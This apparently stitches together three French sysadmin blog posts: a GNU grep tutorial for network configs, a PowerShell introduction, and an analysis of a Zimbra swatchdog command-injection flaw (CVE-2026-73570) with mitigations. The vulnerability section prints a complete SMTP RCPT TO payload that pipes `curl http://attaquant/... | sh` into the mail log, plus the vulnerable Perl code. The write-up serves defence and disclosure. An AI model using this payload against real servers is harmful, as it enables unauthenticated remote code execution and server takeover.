Je pars du principe que vous êtes à l'aise en ligne de commande. Les exemples tournent sous GNU grep (donc Arch, Debian, RHEL — tout ce qui n'est pas BSD/macOS par défaut) et j'utilise des cas concrets d'admin réseau, parce que c'est là que le besoin de recherche ciblée se fait le plus sentir.

Les quatre moteurs de grep​

C'est la première chose à comprendre : grep n'a pas un seul moteur de regex. Le comportement par défaut dépend de l'option choisie, et c'est ce que fait la différence entre une recherche qui matche trop et une qui matche juste.

En pratique, 80 % des recherches se font en -E ou en -F. On réserve -P aux cas oʼn l'on a vraiment besoin d'assertions (lookahead/lookbehind) ou de classes \d/\s — et encore, dès que ça devient tordu, c'est souvent le signe qu'il faut awk ou un vrai script.

Les options qui changent vraiment la donne​

Plutôt que de lister le manuel, voici celles que j'utilise tous les jours et qui transforment une recherche brouillonne en recherche chirurgicale.

-n, -c, -l : contrôler la sortie​

# Numéro de ligne à côté du match — indispensable pour retrouver le contexte
grep -n 'mtu 9000' running-config.cfg

# Juste le nombre de correspondances (pas les lignes)
grep -c 'interface Ethernet' running-config.cfg

# Uniquement les FICHIERS qui contiennent le motif (idéal sur un répertoire)
grep -rl 'channel-group 10 mode active' /tftpboot/configs/

-l (lowercase L) ne sort que les noms de fichiers qui matchent. C'est l'option à combiner avec -r dès qu'on cherche « où est-ce que ce truc est configuré ? » plutôt que « quoi exactement ».

-v, -i, -w, -x : filtrer précisément​

# Inverser : tout sauf les commentaires et les lignes vides d'un fichier de conf
grep -vE '^\s*(!|#)' running-config.cfg | grep -vE '^\s*$'

# Sensible à la casse ou non
grep -i 'bgp' messages        # BGP, bgp, Bgp...
grep -w 'UP' interfaces.txt   # UP, mais pas "STOPUP" ni "GROUP"

# -x : la ligne entière do
it matcher (utile pour des valeurs exactes)
grep -x 'shutdown' running-config.cfg

-w (mot entier) est sous-estimé. Sans lui, grep UP attrape SETUP, WRAPUP, GROUP… ce qui est exactement le genre de faux positif qui vous fait chercher un bug qui n'existe pas.

-A, -B, -C : le contexte autour du match​

C'est l'option la plus précieuse quand on débugge. -A (after), -B (before), -C (context, des deux côtés).

# Les 3 lignes qui suivent chaque match BGP (pour voir l'état du neighbor)
grep -A3 'neighbor 10.0.0.5' bgpd.conf

# 2 lignes avant, pour récupérer le nom de l'interface au-dessus d'un mtu 9000
grep -B2 'mtu 9000' running-config.cfg

# 5 lignes de contexte de part et d'autre d'un événement de flap
grep -C5 'BGP-5-ADJCHANGE' /var/log/messages

Recherches récursives ciblées​

Le grand classique : chercher un motif dans une arborescence entière. Le piège, c'est de faire un grep -r motif * et de récupérer du binaire, des fichiers de swap, du .git/, bref du bruit. GNU grep propose des filtres d'inclusion/exclusion précis.

# Récursif, uniquement dans les fichiers .cfg
grep -r --include='*.cfg' 'channel-group' /tftpboot/

# Récursif, en excluant les répertoires .git et les backups
grep -r --exclude-dir='.git' --exclude='*.bak' 'mtu 9000' .
# -r ne suit pas les liens symboliques ; -R les suit
grep -rl --include='*.conf' 'bgp' /etc/

Pour lister les fichiers où un motif n'apparaît pas (typiquement : quels routeurs n'ont pas encore la config NTP), c'est -L :

grep -rL --include='*.cfg' 'ntp server 10.10.10.1' /tftpboot/configs/

Les expressions rationnelles qui servent vraiment​

Plutôt que la théorie, des motifs que j'utilise réellement sur des configs et des logs.

# Toutes les interfaces avec leur nom exact (on capture juste le motif)
grep -oE 'interface [A-Za-z0-9./:_-]+' running-config.cfg | sort -u

# Les adresses IPv4 présentes dans un fichier
grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' bgpd.conf | sort -u

# Les lignes BGP indiquant un passage à l'état Established ou Down
grep -iE 'BGP.*(Established|Idle|Active|OpenSent)' /var/log/messages

# Les neighbors BGP dont l'IP commence par 10.0.0.
grep -E 'neighbor 10\.0\.0\.[0-9]+' bgpd.conf

Le point à retenir : en -E, le point . est un joker et . littéral doit être échappé en \.. C'est l'erreur la plus fréquente — grep -E '10.0.0.1' matche aussi 10x0x0x1. On écrit 10\.0\.0\.1.

PCRE : quand on a besoin de vraies expressions rationnelles​

-P débloque ce que -E ne sait pas faire : les assertions, les références arrières, les classes \d \s \S \b extensives.

# lookahead : un MTU qui précède une ligne "no shutdown"
grep -P 'mtu \d+\n\s*no shutdown' running-config.cfg   # nécessite \n => voir -z

# Trouver deux lignes identiques consécutives (doublon dans une conf)
grep -nP '^(.*)\n\1$' running-config.cfg

# -z + -P + -o : extraire tout un bloc d'interface contenant un mtu 9000
grep -Pzo 'interface \S+[\s\S]*?mtu 9000[\s\S]*?!\s*\n' running-config.cfg

Ici [\s\S]*? est l'équivalent non-avide de (?s).*? (le ? rend la quantification non-gourmande). C'est puissant, mais dès qu'on en est là, je vous le dis : un petit awk ou sed entre les blocs sera souvent plus lisible pour un collègue qui relit. grep reste roi pour *trouver, pas pour transformer.

Cas concrets​

d'admin réseau

Quelques recettes que j'utilise réellement sur du Arista EOS / Cisco, au-delà du simple « cherche-moi ce mot ».

# Combien d'interfaces ont une MTU jumbo (9000) dans un dump de conf ?
grep -c 'mtu 9000' running-config.cfg

# Les port-channels actifs en LACP, uniquement les noms, trkɳ uniques
grep -oE 'interface (Po|Port-Channel)[0-9]+' running-config.cfg | sort -u

# Les events BGP de changement de voisinage sur les dernières 24h
grep -iE '%BGP-[0-9]+-ADJCHANGE' /var/log/syslog

# Les lignes de log entre deux horodatages (approche simple par plage)
grep -E '^Aug 31 (0[8-9]|1[0-2]):' /var/log/syslog
# Vérifier qu'aucun switch n'a oublié le serveur NTP cible
grep -rL --include='*.cfg' 'ntp server 10.10.10.1' /tftpboot/configs/

Pour filtrer un show running-config Arista à la volée (sans fichier intermédiaire), grep se combine trés bien avec ce que renvoie l'équipement via SSH :

bash grep -iE 'interface (Ethernet|Vlan)|mtu |no shutdown'

grep vs ripgrep : quand changer d'outil​

ripgrep (rg) est un remplaçant moderne de grep -r écrit en Rust. Il est plus rapide, plus sûr par défaut et plus ergonomique pour fouiller du code ou une arborescence. Ce n'est pas un remplacement universel : grep reste partout, rg s'installe en plus.

# L'équivalent grep -r --include, mais en lisant le .gitignore et en smart case
rg -S 'channel-group' /tftpboot/

# Uniquement les fichiers de conf, en excluant les logs
rg -t conf -g '!*.log' 'mtu 9000' .

# Multiligne sans la gymnastique de -z : un bloc d'interface avec mtu 9000
rg --multiline -U 'interface \S+[\s\S]*?mtu 9000[\s\S]*?!\s*\n' running-config.cfg

Ma règle de poche : si je cherche dans un fichier unique ou que je pipe la sortie d'une commande, c'est grep. Dès que je cherche dans une arborescence, un dépôt ou un gros volume de configs, c'est rg. Et si je dois transformer ce que je trouve, je passe à awk/sed.

Quelques pièges et bons réflexes​

• Toujours échapper le point quand on cherche une IP : 10\.0\.0\.1, jamais 10.0.0.1.
• Préférer -F pour les chaînes fixes (IP, MAC, ASN). Plus rapide, plus sûr, et pas de surprise avec les regex.
• -c ne compte pas les lignes, il compte les lignes qui matchent. Pour le nombre d'occurrences réelles (plusieurs sur une ligne), il faut -o puis wc -l.
• grep est sensible à la locale : le tri et la définition de [a-z] dépendent de LC_COLLATE. Pour des résultats reproductibles, LC_ALL=C grep … force le mode byte.
• Sur des fichiers binaires, grep signale « Binary file matches ». -a force le traitement en texte, -I ignore purement les binaires (utile en récursif).
• --line-buffered rend grep utilisable en pipe temps réel (suivi de log) : tail -f /var/log/syslog | grep --line-buffered -i bgp.

Pour résumer​

grep n'est pas un « cherche-moi ce mot ». C'est un sélecteur de lignes configurable à quatre niveaux : le moteur (-F/-E/-P), le filtre (-v/-w/-x/-i), le contexte (-n/-A/-B/-C) et le périmètre (-r/- -include /--exclude-dir). Maîtriser ces quatre axes, c'est passer de « j'ai 200 résultats dont la moitié inutiles » à « j'ai exactement ce que je cherche, avec le contexte, dans le bon fichier ». Et savoir quand rg ou awk prend le relais, c'est ce qui distingue un usage efficace d'un usage bourrin.

Quelques ressources pour aller plus loin :

• grep(1) — man page GNU
• ripgrep — guide officiel
• Regular-Expressions.info — référence PCRE

Passez une bonne journée, et à la prochaine.

PowerShell, c'est quoi exactement​

La définition officielle de Microsoft dit que PowerShell est une solution d'automatisation multiplateforme composée d'un shell en ligne de commande, d'un langage de script et d'un framework de gestion de configuration. Concrètement, c'est un shell orienté objet construit sur le .NET, et c'est ce dernier point qui change tout.

Dans un shell classique — que ce soit CMD sous Windows ou bash sous Linux — tout est du texte. La sortie d'une commande est une chaîne de caractères, et si on veut en extraire une information, il faut parser. PowerShell fonctionne autrement : quand on lance une commande, on récupère des objets .NET complets, avec leurs propriétés et leurs méthodes. Pas besoin de découper du texte avec awk ou des pipes compliqués, on manipule directement des structures de données.

Petit historique pour situer le truc. Au début des années 2000, Windows devenait de plus en plus présent en environnement entreprise, et les outils classiques comme cmd.exe et les batch files ne suivaient plus. Jeffrey Snover, ingénieur chez Microsoft, a constaté que Windows gérait les opérations système avec des données structurées et des APIs, là où Unix traitait tout comme du texte. Porter les outils Unix sur Windows n'avait donc pas beaucoup de sens. Sa solution a été de développer une approche orienté objet, en combinant la simplicité du scripting avec la puissance du framework .NET. PowerShell est sorti en 2006, d'abord exclusif à Windows, puis est devenu open source et multiplateforme en 2016 avec PowerShell Core, qui tourne désormais aussi sur macOS et Linux.

La notion d'objet​

Pour comprendre l'intérêt de PowerShell, il faut saisir ce qu'est un objet dans ce contexte. En programmation, un objet est une entité qui possède des propriétés (ses caractéristiques) et des méthodes (ses actions). Par exemple, un objet « fichier » a des propriétés comme son nom, sa taille, sa date de modification, et des méthodes comme copier, déplacer ou supprimer.

Dans un shell traditionnel, si on veut la taille d'un fichier, on récupère une ligne de texte et on doit l'extraire. Dans PowerShell, le fichier est un objet, et sa taille est directement accessible comme propriété. C'est ce qui rend le piping si puissant : on ne fait pas transiter du texte entre les commandes, on fait transiter des objets complets.

Les cmdlets et la syntaxe Verb-Noun​

Les commandes PowerShell s'appellent des cmdlets (prononcé « command-lets »). Elles suivent toutes une convention de nommage Verbe-Nom, ce qui les rend très lisibles : le verbe décrit l'action, le nom décrit l'objet sur lequel porte l'action. Par exemple, Get-Content récupère le contenu d'un fichier, Set-Location change le répertoire courant.

Trois cmdlets sont indispensables pour commencer :

Get-Command liste toutes les commandes disponibles dans la session — cmdlets, fonctions, alias et scripts. On peut filtrer la sortie, par exemple pour n'afficher que les fonctions :

Get-Command -CommandType "Function"

ou pour lister toutes les commandes qui commencent par un verbe donné, comme Remove :

Get-Command -Verb Remove

Get-Help est l'équivalent du man sous Linux. Il affiche la documentation d'un cmdlet, sa syntaxe, ses paramètres et des exemples :

Get-Help Get-Date
Get-Help Get-Date -examples

Get-Alias liste les alias disponibles. Pour faciliter la transition depuis d'autres shells, PowerShell embarque des alias qui pointent vers les cmdlets correspondants : dir est un alias pour Get-ChildItem, cd pour Set-Location, cat pour Get-Content. La commande echo, traditionnelle sous CMD et bash, est un alias pour Write-Output.

Étendre PowerShell avec des modules​

PowerShell peut être étendu en téléchargeant des modules (des collections de cmdlets) depuis des dépôts en ligne comme PowerShell Gallery. Find-Module cherche des modules, Install-Module les installe :

Find-Module -Name "PowerShell*"
Install-Module -Name "PowerShellGet"

Pratique quand on a besoin de cmdlets spécifiques pour interagir avec un service particulier — un module GitHub, un module Azure, un module pour gérer du YAML, etc.

Naviguer dans le système de fichiers​

PowerShell propose un ensemble de cmdlets pour gérer le système de fichiers, avec une approche unifiée : là où CMD utilise des commandes séparées pour les fichiers et les répertoires (mkdir, del, rmdir), PowerShell utilise les mêmes cmdlets pour les deux.

Get-ChildItem liste le contenu d'un répertoire. C'est l'équivalent de dir sous CMD ou ls sous Linux. Sans paramètre, il affiche le contenu du répertoire courant :

PS C:\Users\captain> Get-ChildItem

    Directory: C:\Users\captain

Mode        LastWriteTime         Length Name
----        -------------         ------ ----
d-r---      5/8/2021   9:15 AM          Desktop
d-r---      9/4/2024  10:58 AM          Documents
d-r---      5/8/2021   9:15 AM          Downloads

Set-Location change le répertoire courant, comme cd :

Set-Location -Path ".\Documents"

New-Item crée un fichier ou un répertoire, selon le paramètre -ItemType :

New-Item -Path ".\captain-cabin\captain-wardrobe" -ItemType "Directory"
New-Item -Path ".\captain-cabin\captain-wardrobe\captain-boots.txt" -ItemType "File"

Remove-Item supprime indifféremment fichiers et répertoires, là où CMD sépare del et rmdir. Copy-Item et Move-Item copient et déplacent, comme leurs équivalents copy et move sous CMD.

Get-Content affiche le contenu d'un fichier, comme type sous CMD ou cat sous Linux :

Get-Content -Path ".\captain-hat.txt"

Le piping, le filtrage et le tri​

Le piping (|) existe dans tous les shells, mais dans PowerShell il est fondamentalement différent : il transmet des objets, pas du texte. Ce qui veut dire que la commande suivante dans le pipeline reçoit des objets complets avec toutes leurs propriétés, et peut filtrer, trier ou transformer directement sur ces propriétés sans aucun parsing.

Pour trier les fichiers d'un répertoire par taille :

Get-ChildItem | Sort-Object Length

Get-ChildItem récupère les fichiers en tant qu'objets, le pipe les envoie à Sort-Object qui les trie sur la propriété Length. Simple et direct.

Where-Object filtre les objets selon des conditions. Pour ne lister que les fichiers .txt :

Get-ChildItem | Where-Object -Property "Extension" -eq ".txt"

L'opérateur -eq (« equal to ») fait partie d'une famille d'opérateurs de comparaison classiques qu'on retrouve aussi en bash ou en Python :

• -ne : « not equal », exclut les objets qui correspondent au critère
• -gt : « greater than », comparaison stricte (les objets égaux au seuil sont exclus)
• -ge : « greater than or equal to », version non stricte de -gt
• -lt : « less than », comparaison stricte
• -le : « less than or equal to », version non stricte de -lt

Pour filtrer sur un motif plutôt que sur une égalité exacte, on utilise -like avec un wildcard :

Get-ChildItem | Where-Object -Property "Name" -like "ship*"

Select-Object sélectionne des propriétés spécifiques ou limite le nombre d'objets retournés. Pratique pour affiner une sortie quand on n'a pas besoin de toutes les propriétés :

Get-ChildItem | Select-Object Name,Length

Enfin, Select-String cherche des motifs de texte dans des fichiers, à la manière de grep sous Linux ou findstr sous CMD. Il supporte les expressions régulières :

Select-String -Path ".\captain-hat.txt" -Pattern "hat"

Là où ça devient intéressant, c'est qu'on peut chaîner tout ça. Le pipeline n'est pas limité à deux cmdlets — on peut enchaîner tri, filtre et sélection pour construire des requêtes précises. Par exemple, pour afficher le plus gros fichier d'un répertoire :

Get-ChildItem | Sort-Object Length -Descending | Select-Object -First 1

Informations système et réseau​

PowerShell propose des cmdlets pour récupérer des informations détaillées sur la machine, bien au-delà de ce que permettent les commandes traditionnelles.

Get-ComputerInfo récupère un snapshot complet de la configuration système : OS, matériel, BIOS, build, tout ça en une seule commande. Là où systeminfo sous CMD ne renvoie qu'un sous-ensemble de ces informations.

Get-LocalUser liste les comptes utilisateurs locaux avec leur statut (activé ou non) et leur description. Utile pour vérifier rapidement la configuration de sécurité d'une machine :

PS C:\Users\captain> Get-LocalUser

Name               Enabled Description
----               ------- -----------
Administrator      True    Built-in account for administering the computer/domain
captain            True    The beloved captain of this pirate ship.
DefaultAccount     False   A user account managed by the system.
Guest              False   Built-in account for guest access to the computer/domain

Côté réseau, deux cmdlets remplacent ipconfig avec beaucoup plus de détail. Get-NetIPConfiguration affiche la configuration des interfaces : adresses IP, DNS, passerelles. Get-NetIPAddress liste toutes les adresses IP configurées sur le système, y compris celles qui ne sont pas actives, avec le prefix length, l'address family, l'état, etc.

PS C:\Users\captain> Get-NetIPConfiguration

InterfaceAlias       : Ethernet
InterfaceIndex       : 5
InterfaceDescription : Amazon Elastic Network Adapter
NetProfile.Name      : Network 3
IPv4Address          : 10.10.178.209
IPv4DefaultGateway   : 10.10.0.1
DNSServer            : 10.0.0.2

Analyse en temps réel​

Au-delà des informations statiques, PowerShell permet d'inspecter l'état dynamique du système : processus, services, connexions réseau.

Get-Process liste tous les processus en cours d'exécution avec leur consommation CPU et mémoire. C'est l'équivalent de tasklist sous CMD ou ps sous Linux, mais avec des objets qu'on peut filtrer et trier :

PS C:\Users\captain> Get-Process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
     67       5      872        500       0.06   2340   0 AggregatorHost
     55       5      712       2672       0.02   3024   0 AM_Delta_Patch
    309      13    18312       1256       0.52   1524   0 amazon-ssm-agent

Get-Service affiche le statut des services : Running, Stopped, Paused. Indispensable en troubleshooting, mais aussi en forensics pour repérer des services anormaux installés sur la machine.

PS C:\Users\captain> Get-Service

Status   Name               DisplayName
------   ----               -----------
Stopped  Amazon EC2Launch   Amazon EC2Launch
Running  AmazonSSMAgent     Amazon SSM Agent
Stopped  AppIDSvc           Application Identity
Running  BFE                Base Filtering Engine

Get-NetTCPConnection affiche les connexions TCP actives, avec les endpoints locaux et distants, l'état de la connexion et le process ID propriétaire. C'est l'équivalent de netstat, mais encore une fois sous forme d'objets filtrables. Particulièrement utile en réponse à incident ou en analyse de malware pour repérer des connexions vers un serveur contrôlé par un attaquant.

Get-FileHash calcule le hash d'un fichier (SHA256 par défaut). En réponse à incident ou en threat hunting, ça permet de vérifier l'intégrité d'un fichier ou de chercher un hash connu dans des bases de données d'IOCs :

PS C:\Users\captain\Documents\captain-cabin> Get-FileHash -Path .\ship-flag.txt

Algorithm       Hash                      Path
---------       ----                      ----
SHA256          54D2EC3C12BF3D[...]       C:\Users\captain\Documents\captain-cabin\ship-flag.txt

Les Alternate Data Streams​

Sous NTFS, un fichier peut contenir des flux de données alternatifs (Alternate Data Streams, ou ADS). C'est une feature du système de fichiers qui permet d'attacher des données cachées à un fichier, au-delà de son contenu visible. Le flux :$DATA est le flux par défaut qui contient le contenu normal du fichier, mais on peut ajouter des flux nommés qui n'apparaissent pas avec un simple Get-Content.

PowerShell permet d'inspecter ces flux avec le paramètre -Stream :

PS C:\Users\Alex\Documents> Get-Item -Path "C:\House\house_log.txt" -Stream *

FileName      : C:\House\house_log.txt
Stream        : :$DATA
Length        : 13

FileName      : C:\House\house_log.txt
Stream        : housinginfo
Length        : 21

Ici, :$DATA est le contenu normal du fichier, et housinginfo est un ADS attaché au fichier. Les ADS sont un vecteur classique en forensics et en sécurité : un attaquant peut cacher du payload ou des données dans un flux alternatif sans modifier le contenu visible du fichier. Savoir les détecter fait partie des bases de l'analyse Windows.

Scripting et exécution distante​

PowerShell n'est pas qu'un shell interactif, c'est aussi un langage de script complet. On peut écrire des scripts dans des fichiers .ps1 et les exécuter pour automatiser des tâches répétitives : analyse de logs, détection d'anomalies, extraction d'IOCs, énumération de systèmes, exécution de commandes à distance.

En cybersécurité, le scripting PowerShell est une compétence transversale. Côté défense, il permet d'automatiser l'analyse de logs, la détection d'indicateurs de compromission, le scan de systèmes à la recherche de signes d'intrusion. Côté offensif, il sert à l'énumération, l'exécution de commandes à distance, l'obfuscation de payloads pour contourner des défenses. Et côté administration, il permet d'automatiser des vérifications, de gérer des configurations à grande échelle, d'appliquer des politiques de sécurité.

Le cmdlet qui mérite qu'on s'y attarde, c'est Invoke-Command. Il permet d'exécuter des commandes ou des scripts sur des machines distantes. Pour un administrateur, c'est l'outil de base pour gérer un parc de machines. Pour un pentester, c'est un moyen d'exécuter des payloads sur des cibles.

Pour exécuter un script sur une machine distante :

Invoke-Command -FilePath c:\scripts\test.ps1 -ComputerName Server01

Pour exécuter une commande à distance, sans script, avec un -ScriptBlock :

Invoke-Command -ComputerName Server01 -Credential Domain01\User01 -ScriptBlock { Get-Culture }

Et sans credentials, si le contexte le permet :

Invoke-Command -ComputerName RoyalFortune -ScriptBlock {Get-Service}

Ce qu'il faut retenir, c'est qu'on n'a pas besoin de savoir scripter pour profiter de la puissance d'Invoke-Command. Le -ScriptBlock accepte n'importe quelle commande PowerShell entre accolades, et le résultat est le même que si on tapait la commande directement sur la machine distante.

Pour conclure​

PowerShell est un outil qu'on a tendance à sous-estimer quand on vient du monde Linux, parce qu'on le réduit souvent à un CMD amélioré. Mais l'approche orientée objet change fondamentalement la manière dont on interagit avec le système : pas de parsing de texte, des objets complets qu'on filtre et qu'on trie directement sur leurs propriétés, un langage de script complet, et une capacité d'exécution distante native.

Je reste toujours assez sceptique sur tout ça, mais il faut avouer que ce changement de paradigme n'est pas forcément une mauvaise chose. Mais passer d'un monde à l'autre est assez compliqué.

La faille en question, c'est la CVE-2026-73570. Ce qui la rend intéressante — et dangereuse —, c'est qu'elle exploite un mécanisme que personne ne surveille : la journalisation (sauf si vous passez vos journées desssus). Le mail est rejeté, il n'arrive jamais dans une boîte, et pourtant le serveur exécute le payload. C'est contre-intuitif, et c'est exactement pour ça que ça marche si bien.

Je vais vous expliquer concrètement comment ça fonctionne, quel est le vrai point d'entrée (parce que le nom de la CVE est trompeur), et comment corriger le tout — en évitant les faux remèdes qui donnent une illusion de sécurité pendant que le serveur continue de saigner.

La bête en bref​

Une faille non authentifiée, Remote Code Execution (RCE pour les intimes), sur un serveur mail exposé sur Internet. Le CVSS à 8.9 et non 10, c'est uniquement parce que le vecteur d'attaque est « high complexity » au sens CVSS — le payload doit respecter un format précis pour déclencher la regex. Mais une fois le PoC public, la complexité ne veut plus rien dire.

Le point d'entrée : ce n'est pas SNMP, c'est le logger​

C'est le premier piège. La CVE s'appelle « SNMP Notification Command Injection ». Tous les articles, tous les bulletins, disent : c'est SNMP. Tu cherches SNMP, tu désactives SNMP, tu retires SNMP. Sauf que le code vulnérable n'est pas dans le service SNMP.

La chaîne vulnérable appartient au service logger. Plus précisément au binaire swatchdog (alias zmswatch) qui est un démon de surveillance de logs, lancé par logger. Ce démon lit /var/log/zimbra.log en temps réel, cherche des motifs, et déclenche des actions — dont des notifications SNMP.

Le service snmp (le démon snmpd) n'a aucun rôle dans l'exploitation. Il n'a même pas besoin d'être démarré.

Le mécanisme, pas à pas​

La chaîne d'exploitation comporte quatre maillons. Aucun n'est compliqué, c'est leur enchaînement qui est retords.

Maillon 1 — L'attaquant envoie un mail piégé​

L'attaquant se connecte au port 25 (ou 465/587) et soumet une enveloppe SMTP dont l'adresse du destinataire contient un payload shell déguisé :

RCPT TO:<x: Service status change: localhost x;curl -s http://attaquant/ksmd | sh;curl -s http://attaquant/payload; echo changed from stopped to running@inj.local>

Le format n'est pas aléatoire. Il imite exactement la syntaxe que swatchdog surveille : Service status change: <host> <service> changed from stopped to running. C'est le motif que Zimbra écrit dans ses logs quand un service redémarre. L'attaquant forge une ligne de log qui ressemble à un changement d'état légitime.

Maillon 2 — Postfix rejette, mais journalise​

L'adresse est syntaxiquement invalide. Postfix la rejette avec un warning: Illegal address syntax. Jusque-là, tout va bien, le mail n'est pas livré.

Sauf que Postfix journalise la tentative dans /var/log/zimbra.log. Et la ligne journalisée contient le payload en clair :

postfix/smtpd[61594]: warning: Illegal address syntax from [...] in RCPT TO <x: Service status change: localhost x;curl -s http://attaquant/ksmd | sh; ...>

C'est ce maillon qui rend la faille non authentifiée et insensible au rejet. Tu n'as pas besoin que le mail soit accepté. Tu n'as pas besoin d'un compte valide. Tu as juste besoin que Postfix écrive la ligne dans le log. Ce qu'il fait systématiquement, même en rejetant.

Maillon 3 — swatchdog lit le log et matche le motif​

swatchdog tail /var/log/zimbra.log. Il applique une regex :

if (/: Service status change: (\S+) (.*) changed from stopped to running/) {
    donotify('HOST' => "$1", 'SERVICE' => "$2", ...);
}

oui je suis allé loin, je la trouve géniale cette faille

La ligne de log forgée par l'attaquant contient Service status change: localhost x;curl ... suivi de changed from stopped to running. La regex matche. $1 capture localhost, $2 capture tout le reste — y compris le ;curl -s http://attaquant/ksmd | sh.

Maillon 4 — Exécution via les backticks Perl​

La fonction donotify construit une commande snmptrap et l'exécute avec des backticks Perl :

sub dosnmp {
    `$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} ...`;
}

Les backticks en Perl passent la chaîne à /bin/sh -c. Le shell reçoit quelque chose comme :

snmptrap ... s x;curl -s http://attaquant/ksmd | sh;curl -s http://attaquant/payload; echo ...

Le ; termine la commande snmptrap, et tout ce qui suit s'exécute. Sous l'uid zimbra. Sans authentification.

Le fait que snmptrap n'existe pas ou ne soit pas trouvé ne change rien : le shell développe les substitutions $( ) avant de chercher l'exécutable. La charge s'exécute, puis snmptrap échoue sur un command not found sans conséquence pour l'attaquant.

Le bug dans le code : un échappement appliqué à la mauvaise variable​

Ce qui rend la faille particulièrement frustrante, c'est que le développeur avait conscience du risque. Le script Perl généré à partir de swatchrc contient une ligne d'échappement :

my $S_ = $_;
$S_ =~ s/([;&\(\)\|\^><\$`'\\])/\\$1/g;   # échappe $S_ (une copie)

Le problème : cette ligne échappe $S_, une copie de la ligne de log. Mais la regex de matching tourne sur $_, l'original non échappé. Et c'est $_ dont on extrait $2, qui part directement dans les backticks.

L'échappement existe. Il est correct. Il protège une variable qui n'est jamais utilisée dans la commande. C'est l'équivalent d'un casque posé sur le siège passager pendant que le conducteur roule sans ceinture.

La preuve sur le serveur : zmswatch.out​

Et il est assez marrant de faire tourner un zimbra sur cette version et voir des attaques en temps réel. Et en attendant un peu, on trouve des lignes sympatiques dans /opt/zimbra/log/zmswatch.out :

880:SNMP notification: Aug 26 03:55:34 mail postfix/smtpd[61594]: warning: Illegal address syntax ... <x: Service status change: localhost x;curl -s http://XX.XX.XX.XX/.../ksmd | sh; ...>

swatchdog a avalé la ligne de log Postfix elle-même et l'a repassée dans son pipeline de notification. Ce n'est pas une hypothèse, c'est écrit noir sur blanc dans le fichier du composant vulnérable. Le mail n'a jamais été livré — c'est le log qui a servi de canal d'exécution.

Les trois faux remèdes​

C'est ici que ça devient amusant, dans le sens où ça ne l'est pas du tout. La documentation et les premiers retours d'expérience regorgent de conseils qui ne marchent pas.

Faux remède n°1 : snmp_notify=no​

L'idée : dire à Zimbra de ne plus envoyer de notifications SNMP. Logique. Sauf que le script Perl généré recopie la valeur brute :

$notifications{snmp}="no";
...
if ($notifications{snmp}) { dosnmp(%args); }

En Perl, toute chaîne non vide autre que "0" est vraie. if ("no") vaut vrai. La fonction vulnérable s'exécute quand même.

Quand j'ai vu ça, je me suis retrouvé à l'école travaillant sur du JS...

Seule la valeur 0 neutralise réellement l'appel :

su - zimbra -c 'zmlocalconfig -e snmp_notify=0'

Et même ça, il faut vérifier dans le script réellement chargé :

grep 'notifications{snmp}' /opt/zimbra/data/tmp/.swatchdog_script.*
# attendu : $notifications{snmp}="0";

Faux remède n°2 : purger zimbra-snmp​

Le nom de la CVE te dit « SNMP », donc tu retires le paquet SNMP. Sauf que dpkg -L zimbra-snmp ne contient que des MIB et des fichiers de configuration : zéro exécutable. Le code vulnérable vit ailleurs.

Purger zimbra-snmp retire de la documentation. La chaîne vulnérable reste intègre.

Faux remède n°3 : purger zimbra-perl-swatchdog​

OK, donc on purge le bon paquet. Sauf que :

zimbra-perl-swatchdog → zimbra-perl → zimbra-core → ...

Une simulation apt-get -s purge zimbra-perl-swatchdog annonce la suppression de 30 paquets, dont zimbra-core, zimbra-store, zimbra-mta et zimbra-ldap. C'est-à-dire l'installation Zimbra complète. Tu corriges la faille en désinstallant Zimbra. C'est radical, mais pas exactement ce qu'on appelle une mitigation.

Ce qui ferme réellement le vecteur​

Par ordre de robustesse, sur une 8.8.15 sans correctif :

La correction propre, si tu es sur 10.x :

su - zimbra -c 'zmcontrol -v'   # vérifie ta version
# Si < 10.1.20 : mettre à jour

Le contournement sur 8.8.15 (branche sans correctif) :

Désactiver le service logger pour que swatchdog ne démarre plus :

# Retirer logger des services activés
su - zimbra -c 'zmprov -l ms $(zmhostname) -zimbraServiceEnabled logger'

# Arrêter le service immédiatement
su - zimbra -c 'zmloggerctl stop'

# Vérifier que swatchdog ne tourne plus
pgrep -af 'zmswatch|swatchdog'
# Ne doit rien renvoyer, ou uniquement le swatchdog du logger (logswatchrc)

En ceinture et bretelles, neutraliser le binaire (réversible, au cas où zmconfigd le relance) :

mv /opt/zimbra/common/bin/swatchdog /opt/zimbra/common/bin/swatchdog.disabled

Et au niveau réseau, si le serveur n'a pas besoin de recevoir du mail directement depuis Internet (il est derrière un relais/proxy mail), bloquer 25/465/587 au pare-feu empêche l'attaquant d'atteindre le vecteur d'entrée.

Patcher ne suffit pas : assume compromise​

Si ton serveur était exposé et vulnérable, le correctif ferme la porte d'entrée. Il ne vérifie pas qui est déjà à l'intérieur.

Visiblement, les attaques se concentrent sur :

• Des webshells JSP dans le webroot Jetty (dynamic.jsp), accessibles en HTTP
• Un cryptominer XMRig tournant, déguisé en /bin/idle
• Des clés SSH dans authorized_keys pour un accès persistant
• Une escalade root via sudo, avec des commandes exécutées en tant que root

L'attaquant qui a eu du code sous zimbra a eu accès aux credentials LDAP, aux clés de chiffrement, aux mailboxes. Patcher empêche la ré-entrée par la porte CVE-2026-73570, pas par celles qu'il a percées derrière.

La réponse honnête quand une instance vulnérable était exposée : reconstruction depuis une installation neuve + rotation de tous les secrets, pas nettoyage. Un serveur que tu nettoies, c'est un serveur où tu espères avoir tout trouvé. Un serveur que tu reconstruis, c'est un serveur dont tu sais qu'il est propre.

En résumé​

La faille est élégante dans sa simplicité : pas besoin de compte, pas besoin que le mail soit accepté, juste besoin que Postfix écrive une ligne dans un log et que swatchdog la lise. Le seul échappement prévu protège la mauvaise variable. Le nom de la CVE pointe vers le mauvais service. Les trois remèdes les plus intuitifs ne marchent pas ou détruisent l'installation.

Les points à retenir :

• Le vecteur d'entrée est le port SMTP (25/465/587), mais le composant vulnérable est swatchdog, qui appartient au service logger, pas snmp.
• Le rejet SMTP ne protège pas : la journalisation suffit.
• snmp_notify=no ne protège pas : en Perl, "no" est vrai. Il faut 0.
• Purger zimbra-snmp ne fait rien, purger zimbra-perl-swatchdog désinstalle Zimbra.
• La correction : mise à jour vers 10.1.20. Sur 8.8.15 : désactiver logger, neutraliser le binaire, et filtrer les ports SMTP au pare-feu.
• Si le serveur était exposé : assume compromise, reconstruis.

Sources : bulletin Zimbra, CERT Polska, GHSA-jqh7-pchh-v74j.

